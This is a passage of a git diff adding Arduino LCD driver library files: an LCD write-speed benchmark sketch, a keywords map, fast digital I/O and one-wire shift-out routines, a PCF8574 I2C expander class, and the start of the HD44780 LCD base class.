returns the ammount of RAM memory available after + initialising the C runtime. + @param + @return Free RAM available, -1 for non AVR microcontrollers + */ +static int freeMemory ( void ) +{ +#ifdef __AVR__ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +#else + return -1; +#endif + +} + +/*! + @function LCDSetup + @abstract Initialise LCD associated pins and initialise the LCD object + with its geometry. + @discussion Initialise the LCD object and make it ready for operation by + setting up the LCD geometry, i.e. LCD character size. Initialise + and configure all associated control pins such as backlight and + contras pin if necessary. + + @param[in] charBitmapSize: contrasts pin associated to the contrast (should be an + analog pin). 0 if contrast pin is not required. + @param[in] backlight: backlight pin associated to the LCD backlight. + @param[in] cols: number of LCD columns normal values (1, 2, 4) + @param[in] rows: number of LCD rows normal values (8, 16, 20) + */ +static void LCDSetup ( uint8_t contrasPin, uint8_t backlight, uint8_t cols, uint8_t rows ) +{ + // If our setup uses a PWM to control the backlight, configure it + // -------------------------------------------------------------- + if ( contrasPin != 0 ) + { + pinMode ( contrasPin, OUTPUT ); + analogWrite ( contrasPin, CONTRAST ); + } + // Setup backlight pin + if ( backlight != 0 ){ + pinMode(backlight, OUTPUT); + digitalWrite(backlight, HIGH); + } + + lcd.begin ( cols, rows ); + lcd.clear ( ); +} + + +/*! + @function LCDLoadCharacters + @abstract Loads onto the LCD the character set for the benchmark. + @discussion Loads onto the LCD the character set that will be used throughout + the benchmark. + + @param[in] charBitmapSize: number of characters to load to the LCD. + */ +static void LCDLoadCharacters ( int numChars ) +{ + // Load custom character set into CGRAM + for ( int i = 0; i < numChars; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + + +// Benchmarks +// ---------- +/*! + @function benchmark1 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + memory. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark1 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + lcd.print (char(5)); + } + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark2 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory one line pixel at the time + @discussion Writes to all the positions of the LCD a fixed pattern from + memory each patern take 6 write operations to the LCD. For every + character it writes it sets the cursor possition. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS * 6. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark2 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j, k; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + + for ( i = 0; i < LCD_ROWS; i++ ) + { + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + for ( k = 0; k <= 5; k++ ) + { + lcd.setCursor ( j, i ); + lcd.print (char(k)); + } + } + } + totalTime += ( micros() - time ); + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark3 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + RAM. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark3 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( "####################" ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark4 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + flash. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark4 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( F("####################") ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +// Main system setup +// ----------------- +void setup () +{ + Serial.begin ( 57600 ); +#ifdef __AVR__ + Serial.print ( F("Free mem: ") ); + Serial.println ( freeMemory () ); +#endif + + // Initialise the LCD + LCDSetup ( CONTRAST_PIN, BACKLIGHT_PIN, LCD_COLUMNS, LCD_ROWS ); + LCDLoadCharacters ( (sizeof(charBitmap ) / sizeof (charBitmap[0])) ); +} + + +// Main system loop +// ---------------- +void loop () +{ + int i; + + lcd.setCursor ( 0, 0 ); + lcd.clear ( ); + + // Run benchmark + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + myBenchMarks[i].benchTime = + (myBenchMarks[i].benchmark (ITERATIONS))/ITERATIONS; + Serial.println (i); + } + + float fAllWrites=0.0; + + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + Serial.print ( F("benchmark") ); + Serial.print ( i ); + Serial.print ( F(": ") ); + Serial.print ( myBenchMarks[i].benchTime ); + Serial.print ( F(" us - ") ); + Serial.print ( F(" write: ") ); + Serial.print ( myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites ); + Serial.println ( F(" us") ); + fAllWrites += myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites; + } + Serial.print( F("avg. write: ") ); + Serial.println( fAllWrites / (float)NUM_BENCHMARKS ); + } \ No newline at end of file diff --git a/libraries/LiquidCrystal/keywords.txt b/libraries/LiquidCrystal/keywords.txt new file mode 100644 index 0000000..c13f5ae --- /dev/null +++ b/libraries/LiquidCrystal/keywords.txt @@ -0,0 +1,52 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_SR KEYWORD1 +LiquidCrystal_I2C KEYWORD1 +LiquidCrystal_SR3W KEYWORD1 +LiquidCrystal KEYWORD1 +LCD KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight 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for(uint8_t i = 0; i<8; ++i) + { + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_SWITCH (clockRegister, clockBit); + } + } +} + + +void fio_shiftOut1_init(uint8_t pin) +{ + fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin)); +} + +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit) +{ + // Make sure that capacitors are charged + // 300us is an educated guess... + fio_digitalWrite(shift1Register,shift1Bit,HIGH); + delayMicroseconds(300); +} + + +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, + boolean noLatch) +{ + /* + * this function are based on Shif1 protocol developed by Roman Black + * (http://www.romanblack.com/shift1.htm) + * + * test sketches: + * http://pastebin.com/raw.php?i=2hnC9v2Z + * http://pastebin.com/raw.php?i=bGg4DhXQ + * http://pastebin.com/raw.php?i=tg1ZFiM5 + * http://pastebin.com/raw.php?i=93ExPDD3 - cascading + * tested with: + * TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/ + * arduino-one-wire-shift-register-prototype) + * 7HC595N + */ + + // iterate but ignore last bit (is it correct now?) + for(int8_t i = 7; i>=0; --i) + { + + // assume that pin is HIGH (smokin' pot all day... :) - requires + // initialization + if(value & _BV(i)) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // HIGH = 1 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + //hold pin LOW for 1us - done! :) + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + //hold pin HIGH for 15us + delayMicroseconds(15); + } + else + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // LOW = 0 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + // hold pin LOW for 15us + delayMicroseconds(15); + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + + // hold pin HIGH for 30us + delayMicroseconds(30); + } + if(!noLatch && i==1) + { + break; + } + } + + if(!noLatch) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // send last bit (=LOW) and Latch command + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + } // end critical section + delayMicroseconds(199); // Hold pin low for 200us + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(shift1Register,shift1Bit); + } // end critical section + delayMicroseconds(299); // Hold pin high for 300us and leave it that + // way - using explicit HIGH here, just in case. + } +} + +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch) +{ + fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch); +} diff --git a/libraries/NewliquidCrystal/FastIO.h b/libraries/NewliquidCrystal/FastIO.h new file mode 100644 index 0000000..8636e20 --- /dev/null +++ b/libraries/NewliquidCrystal/FastIO.h @@ -0,0 +1,219 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#ifndef _FAST_IO_H_ +#define _FAST_IO_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include // pleasing sanguino core +#include + + +#define SKIP 0x23 + +#if defined (__AVR__) +#include // for critical section management +typedef uint8_t fio_bit; +typedef volatile uint8_t *fio_register; + + +#elif defined(__PIC32MX__) +typedef uint32_t fio_bit; +typedef volatile uint32_t *fio_register; + + +#else +// fallback to Arduino standard digital i/o routines +#define FIO_FALLBACK +#define ATOMIC_BLOCK(dummy) if(true) +#define ATOMIC_RESTORESTATE +typedef uint8_t fio_bit; +typedef uint8_t fio_register; +#endif + + + +#if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK) +/* + * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type + * Using the portable Arduino interrupts() and noInterrupts() + */ +#define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet. +#define ATOMIC_FORCEON uint8_t sreg_save \ + __attribute__((__cleanup__(__iSeiParam))) = 0 + +static __inline__ uint8_t __iCliRetVal(void) +{ + noInterrupts(); + return(1); +} +static __inline__ void __iSeiParam(const uint8_t *__s) +{ + interrupts(); +} +#define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0) + +#endif // end of block to create compatible ATOMIC_BLOCK() + + + +/*! + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW); + +/*! + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToInputRegister(uint8_t pin); + +/*! + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit + */ +fio_bit fio_pinToBit(uint8_t pin); + + +/*! + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output + */ +// __attribute__ ((always_inline)) /* let the optimizer decide that for now */ +void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value ); + +/** + * This is where the magic happens that makes things fast. + * Implemented as preprocessor directives to force inlining + * SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. + */ + +#ifndef FIO_FALLBACK +#define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit +#define fio_digitalWrite_HIGH(reg,bit) *reg |= bit +#define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit +#define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit) +#else +// reg -> dummy NULL, bit -> pin +#define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH) +#define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW) +#define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit)) +#define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val); +#endif + +/*! + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin + */ +int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit ); + +/*! + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order + */ +void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, + fio_bit clockBit, uint8_t value, uint8_t bitOrder ); + +/*! + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + */ +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit); + +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param pin[in] digital pin + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + */ +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param pin[in] digital pin + */ +void fio_shiftOut1_init(uint8_t pin); + +#endif // FAST_IO_H diff --git a/libraries/NewliquidCrystal/I2CIO.cpp b/libraries/NewliquidCrystal/I2CIO.cpp new file mode 100644 index 0000000..d6d0c94 --- /dev/null +++ b/libraries/NewliquidCrystal/I2CIO.cpp @@ -0,0 +1,218 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +#include <../Wire/Wire.h> +#include "I2CIO.h" + + + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +I2CIO::I2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +// +// begin +int I2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + Wire.begin ( ); + + _initialised = isAvailable ( _i2cAddr ); + + if (_initialised) + { +#if (ARDUINO < 100) + _shadow = Wire.receive (); +#else + _shadow = Wire.read (); // Remove the byte read don't need it. +#endif + } + return ( _initialised ); +} + +// +// pinMode +void I2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void I2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t I2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); +#if (ARDUINO < 100) + retVal = ( _dirMask & Wire.receive ( ) ); +#else + retVal = ( _dirMask & Wire.read ( ) ); +#endif + + } + return ( retVal ); +} + +// +// write +int I2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + Wire.beginTransmission ( _i2cAddr ); +#if (ARDUINO < 100) + Wire.send ( _shadow ); +#else + Wire.write ( _shadow ); +#endif + status = Wire.endTransmission (); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t I2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int I2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- +bool I2CIO::isAvailable (uint8_t i2cAddr) +{ + int error; + + Wire.beginTransmission( i2cAddr ); + error = Wire.endTransmission(); + if (error==0) + { + return true; + } + else //Some error occured + { + return false; + } +} diff --git a/libraries/NewliquidCrystal/I2CIO.h b/libraries/NewliquidCrystal/I2CIO.h new file mode 100644 index 0000000..95e59fc --- /dev/null +++ b/libraries/NewliquidCrystal/I2CIO.h @@ -0,0 +1,158 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _I2CIO_H_ +#define _I2CIO_H_ + +#include + +#define _I2CIO_VERSION "1.0.0" + +/*! + @class + @abstract I2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class I2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + I2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + + /*! + @method + @abstract Check if I2C device is available. + @discussion Checks to see if an I2C device is available at address i2cAddr. + + @param i2cAddr[in] I2C address to check availability + @result true if available, false otherwise. + */ + bool isAvailable (uint8_t i2cAddr); + +}; + +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LCD.cpp b/libraries/NewliquidCrystal/LCD.cpp new file mode 100644 index 0000000..a0f00f7 --- /dev/null +++ b/libraries/NewliquidCrystal/LCD.cpp @@ -0,0 +1,372 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the HD44780 library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ... +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// +// @version API 1.1.0 +// +// 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0 +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +extern "C" void __cxa_pure_virtual() { while (1); } +#include "LCD.h" + + +// CLASS CONSTRUCTORS +// --------------------------------------------------------------------------- +// Constructor +LCD::LCD () +{ + +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- +// When the display powers up, it is configured as follows: +// 0. LCD starts in 8 bit mode +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a application starts (and the +// LiquidCrystal constructor is called). +// A call to begin() will reinitialize the LCD. +// +void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + if (lines > 1) + { + _displayfunction |= LCD_2LINE; + } + _numlines = lines; + _cols = cols; + + // for some 1 line displays you can select a 10 pixel high font + // ------------------------------------------------------------ + if ((dotsize != LCD_5x8DOTS) && (lines == 1)) + { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way before 4.5V so we'll wait + // 50 + // --------------------------------------------------------------------------- + delay (100); // 100ms delay + + //put the LCD into 4 bit or 8 bit mode + // ------------------------------------- + if (! (_displayfunction & LCD_8BITMODE)) + { + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + // Special case of "Function Set" + send(0x03, FOUR_BITS); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + send ( 0x03, FOUR_BITS ); + delayMicroseconds(150); // wait min 100us + + // third go! + send( 0x03, FOUR_BITS ); + delayMicroseconds(150); // wait min of 100us + + // finally, set to 4-bit interface + send ( 0x02, FOUR_BITS ); + delayMicroseconds(150); // wait min of 100us + + } + else + { + // this is according to the hitachi HD44780 datasheet + // page 45 figure 23 + + // Send function set command sequence + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(4500); // wait more than 4.1ms + + // second try + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + // third go + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + } + + // finally, set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds ( 60 ); // wait more + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear the LCD + clear(); + + // Initialize to default text direction (for romance languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + backlight(); + +} + +// Common LCD Commands +// --------------------------------------------------------------------------- +void LCD::clear() +{ + command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // this command is time consuming +} + +void LCD::home() +{ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // This command is time consuming +} + +void LCD::setCursor(uint8_t col, uint8_t row) +{ + const byte row_offsetsDef[] = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs + const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs + + if ( row >= _numlines ) + { + row = _numlines-1; // rows start at 0 + } + + // 16x4 LCDs have special memory map layout + // ---------------------------------------- + if ( _cols == 16 && 